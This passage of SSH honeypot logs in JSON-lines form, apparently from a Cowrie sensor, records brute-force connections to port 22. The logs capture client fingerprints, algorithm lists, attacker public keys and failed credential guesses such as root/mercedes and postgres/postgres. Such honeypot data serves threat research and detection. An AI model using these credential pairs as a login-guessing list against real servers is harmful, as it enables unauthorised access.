5@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:29.599178Z","src_ip":"193.32.162.151","session":"b846762ca77c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:29.936338Z","src_ip":"193.32.162.151","session":"b846762ca77c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:31.050609Z","src_ip":"193.32.162.151","session":"b846762ca77c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":56020,"dst_ip":"10.17.0.5","dst_port":22,"session":"625c983e4000","protocol":"ssh","message":"New connection: 38.93.206.2:56020 (10.17.0.5:22) [session: 625c983e4000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:41.810879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:41.816909Z","src_ip":"38.93.206.2","session":"625c983e4000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:41.877105Z","src_ip":"38.93.206.2","session":"625c983e4000","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"258258","message":"login attempt [root/258258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:42.034307Z","src_ip":"38.93.206.2","session":"625c983e4000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":47734,"dst_ip":"10.17.0.5","dst_port":22,"session":"19b5347e65b3","protocol":"ssh","message":"New connection: 103.75.183.219:47734 (10.17.0.5:22) [session: 19b5347e65b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:42.294427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:42.299570Z","src_ip":"103.75.183.219","session":"19b5347e65b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:42.547914Z","src_ip":"103.75.183.219","session":"19b5347e65b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:43.088132Z","src_ip":"38.93.206.2","session":"625c983e4000","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mercedes","message":"login attempt [root/mercedes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:43.298828Z","src_ip":"103.75.183.219","session":"19b5347e65b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:44.551655Z","src_ip":"103.75.183.219","session":"19b5347e65b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":43690,"dst_ip":"10.17.0.5","dst_port":22,"session":"71b659f8b6bc","protocol":"ssh","message":"New connection: 154.70.102.114:43690 (10.17.0.5:22) [session: 71b659f8b6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:46.140093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:46.146126Z","src_ip":"154.70.102.114","session":"71b659f8b6bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:46.353769Z","src_ip":"154.70.102.114","session":"71b659f8b6bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"google.com","message":"login attempt [root/google.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:47.203283Z","src_ip":"154.70.102.114","session":"71b659f8b6bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:48.410866Z","src_ip":"154.70.102.114","session":"71b659f8b6bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":57898,"dst_ip":"159.203.135.109","dst_port":22,"session":"7882824fe81d","protocol":"ssh","message":"New connection: 62.133.63.178:57898 (159.203.135.109:22) [session: 7882824fe81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:09.872910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:09.877369Z","src_ip":"62.133.63.178","session":"7882824fe81d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:09.999503Z","src_ip":"62.133.63.178","session":"7882824fe81d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irina","message":"login attempt [root/irina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:10.353858Z","src_ip":"62.133.63.178","session":"7882824fe81d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:11.474638Z","src_ip":"62.133.63.178","session":"7882824fe81d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":53898,"dst_ip":"10.17.0.5","dst_port":22,"session":"05b2f49fc177","protocol":"ssh","message":"New connection: 154.70.102.114:53898 (10.17.0.5:22) [session: 05b2f49fc177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:19.554273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:19.559444Z","src_ip":"154.70.102.114","session":"05b2f49fc177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:19.761977Z","src_ip":"154.70.102.114","session":"05b2f49fc177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"froze","message":"login attempt [root/froze] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:20.592780Z","src_ip":"154.70.102.114","session":"05b2f49fc177","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:21.796299Z","src_ip":"154.70.102.114","session":"05b2f49fc177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.1.60","src_port":45950,"dst_ip":"10.17.0.5","dst_port":22,"session":"597f21060097","protocol":"ssh","message":"New connection: 184.154.1.60:45950 (10.17.0.5:22) [session: 597f21060097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:21.802147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:21.807673Z","src_ip":"184.154.1.60","session":"597f21060097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:21.839949Z","src_ip":"184.154.1.60","session":"597f21060097","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:63:2d:50:a3:ae:72:44:0c:e9:cc:6a:ce:aa:df:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCTsgFF7HjRrw9ami/K5QkIxzO5+e26eIiOaBOvXVmzRlspVc6+IUdW5P2+BAEGCTuWsQ/kGC+irEDhSFUlR8Llpynn6FV0/gl+C9/AtgJejDadZrwuBk6yATTNf1oHIgP7WR2UUCSkHxoKE1kfTGTAzPqAO7xkoiBCAIZo7tGLykPcznAUgdfX/hRKLGyKsalhE/Man9wVZ4Ei8F+Nn7fcpwaQOUXnOFEmyeBgwTquFKLayMYkp1boD/c6mRXEMPuZAD7Hu/zBNaIM8pp5N91ObVsDtoycTwRuXpJsS6KFdL56DdsCfzLXeQpFrGA83t0tcnIxvMcTlUfA0/TsNfV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:63:2d:50:a3:ae:72:44:0c:e9:cc:6a:ce:aa:df:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:21.959575Z","src_ip":"184.154.1.60","session":"597f21060097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:63:2d:50:a3:ae:72:44:0c:e9:cc:6a:ce:aa:df:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCTsgFF7HjRrw9ami/K5QkIxzO5+e26eIiOaBOvXVmzRlspVc6+IUdW5P2+BAEGCTuWsQ/kGC+irEDhSFUlR8Llpynn6FV0/gl+C9/AtgJejDadZrwuBk6yATTNf1oHIgP7WR2UUCSkHxoKE1kfTGTAzPqAO7xkoiBCAIZo7tGLykPcznAUgdfX/hRKLGyKsalhE/Man9wVZ4Ei8F+Nn7fcpwaQOUXnOFEmyeBgwTquFKLayMYkp1boD/c6mRXEMPuZAD7Hu/zBNaIM8pp5N91ObVsDtoycTwRuXpJsS6KFdL56DdsCfzLXeQpFrGA83t0tcnIxvMcTlUfA0/TsNfV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:21.964103Z","src_ip":"184.154.1.60","session":"597f21060097","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:4d:d2:ec:ed:46:34:fa:06:32:46:0f:99:4f:5d:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLH/qu76KeZRXHh00wF/AnAbuxjYR2cpgcHYlMKvKgpswIIVgjmZvewEIjp+AtnhVzVWzlieZ2WYV2vT+qWXyIQ1h1fEo+rY1fDu0quhHt2Wqi34MDj5B5Va0l5CdVcB0S6527mIlytcAToXvdTkwknMwkJd03NXuqIEx0LYbjeRcZiy7wiVsIQylbI6M3osFBKw3xopOjnHZ5yIn6DObpMpLroB6NbM4HClfQ127DuGmx6fltx7Ze/n/COLJy6dWGeMsJ/EpU4OkPEHWM36Sm6f69OKIlioNik6P/Tv2lZMZS1ocvmW0WZWtH/3O8MX3GasGNOtaLAjkLcYlgIHw7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:4d:d2:ec:ed:46:34:fa:06:32:46:0f:99:4f:5d:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:21.994532Z","src_ip":"184.154.1.60","session":"597f21060097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:4d:d2:ec:ed:46:34:fa:06:32:46:0f:99:4f:5d:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLH/qu76KeZRXHh00wF/AnAbuxjYR2cpgcHYlMKvKgpswIIVgjmZvewEIjp+AtnhVzVWzlieZ2WYV2vT+qWXyIQ1h1fEo+rY1fDu0quhHt2Wqi34MDj5B5Va0l5CdVcB0S6527mIlytcAToXvdTkwknMwkJd03NXuqIEx0LYbjeRcZiy7wiVsIQylbI6M3osFBKw3xopOjnHZ5yIn6DObpMpLroB6NbM4HClfQ127DuGmx6fltx7Ze/n/COLJy6dWGeMsJ/EpU4OkPEHWM36Sm6f69OKIlioNik6P/Tv2lZMZS1ocvmW0WZWtH/3O8MX3GasGNOtaLAjkLcYlgIHw7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:21.999041Z","src_ip":"184.154.1.60","session":"597f21060097","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:db:ff:9a:3f:b3:47:d2:ef:62:04:43:3b:4b:02:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9rtgLFrtyHxjPyGM7+ER4920uk/6WjK0g/5Cw3STngQbTxpgfIh6jXmt9M401+PJdgyBpQKl+2J2K8UzNytxdHt+mw8uCylyhopxcm5kRPXEF4gNXkbHYa1Ptguf/i0lsflbgAzMBuMibJciwuL+ZP2fzRsnmXIbFitSGDewqac7OKxzBeyLtHnCnHU9CAvutCVSfBMxrUAO9Pf8LyYn5v6GXkPUHX24rpz07gi8bjf/h3j4+rL+09Bj/Ap1msOyUIH757Ra576kohlYUbJjaK6xdpElxAC2VMGNFRilH8CauBpejt6ScPzpbyulkME9DRZ8cKpo8CFMeUfrKp30v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:db:ff:9a:3f:b3:47:d2:ef:62:04:43:3b:4b:02:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:22.033135Z","src_ip":"184.154.1.60","session":"597f21060097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:db:ff:9a:3f:b3:47:d2:ef:62:04:43:3b:4b:02:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9rtgLFrtyHxjPyGM7+ER4920uk/6WjK0g/5Cw3STngQbTxpgfIh6jXmt9M401+PJdgyBpQKl+2J2K8UzNytxdHt+mw8uCylyhopxcm5kRPXEF4gNXkbHYa1Ptguf/i0lsflbgAzMBuMibJciwuL+ZP2fzRsnmXIbFitSGDewqac7OKxzBeyLtHnCnHU9CAvutCVSfBMxrUAO9Pf8LyYn5v6GXkPUHX24rpz07gi8bjf/h3j4+rL+09Bj/Ap1msOyUIH757Ra576kohlYUbJjaK6xdpElxAC2VMGNFRilH8CauBpejt6ScPzpbyulkME9DRZ8cKpo8CFMeUfrKp30v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:27:22.037673Z","src_ip":"184.154.1.60","session":"597f21060097","protocol":"ssh"}
